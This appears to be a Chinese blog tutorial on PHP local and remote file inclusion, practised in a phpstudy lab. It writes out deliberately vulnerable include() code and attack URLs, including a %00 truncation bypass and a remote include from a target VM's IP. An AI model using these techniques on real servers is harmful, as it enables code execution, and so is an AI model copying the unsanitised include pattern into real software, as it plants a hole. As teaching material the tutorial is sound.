文件包含漏洞的小点总结

文件本地与远程包含:

文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;

远程包含可以包含一切网络上的文件。

  • 本地包含:

①无限制

感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件

php 复制代码
//1.txt 
<?php 
phpinfo(); 
?> 

//upload.php 
<?php 
$filename=$_GET['filename']; 
include($filename); 
?>

直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)

②有限制

如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。

在网站根目录下新建两个文件

php 复制代码
//1.txt 
<?php 
phpinfo(); 
?>
 
//upload2.php 
<?php 
$filename=$_GET['filename']; 
include($filename.'.html') 
?>

如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00

长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096

  • 远程包含:

phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)

在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:

php 复制代码
//1.txt 
<?php 
phpinfo(); 
?>

靶机查询IP地址,假如是192.168.123.23

就可以在主机上直接访问http://192.168.123.23:88/1.txt

可以看到上传文件内容。

我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。![](https://i-blog.csdnimg.cn/direct/d7cd994ef2b347fc837591c509619374.png)

相关推荐
wniuniu_2 分钟前
ceph中的rbd的稀疏写入
java·服务器·数据库
牛奶咖啡133 分钟前
Linux线上服务器掉电后无法启动故障的分析与修复实践——及其隐患解决(标准分区扩容、逻辑分区缩容与扩容)
服务器·系统掉电后无法启动故障排查解决·根分区满后重启无法进入系统·解决根分区满后故障分析解决·修复根分区满后系统故障·逻辑卷分区的缩容与扩容·标准分区的扩容
莫叫石榴姐3 分钟前
ast 在 Dify 工作流中解析 JSON 格式数据的深度解析
大数据·网络·安全·json
为什么不问问神奇的海螺呢丶8 分钟前
SFTP搭建-自动检测上传文件修改权限-rsync 自动同步到其他服务器
运维·服务器
沉醉不知处11 分钟前
远程连接虚拟机,设置网络后,ip不变
服务器·网络·tcp/ip
咕噜签名-铁蛋16 分钟前
云服务器高速网络架构设计与实践
服务器
咕噜企业分发小米20 分钟前
阿里云与华为云在基因测序数据存储上哪个更好?
服务器·阿里云·腾讯云
wanhengidc27 分钟前
巨 椰 云手机 性能稳定
运维·服务器·arm开发·智能手机·云计算
爱尔兰极光29 分钟前
计算机网络--数据链路层
服务器·网络·计算机网络
巴拉巴拉~~29 分钟前
KMP 算法通用步进器组件:KmpStepperWidget 横向 / 纵向 + 匹配进度 + 全样式自定义
java·服务器·开发语言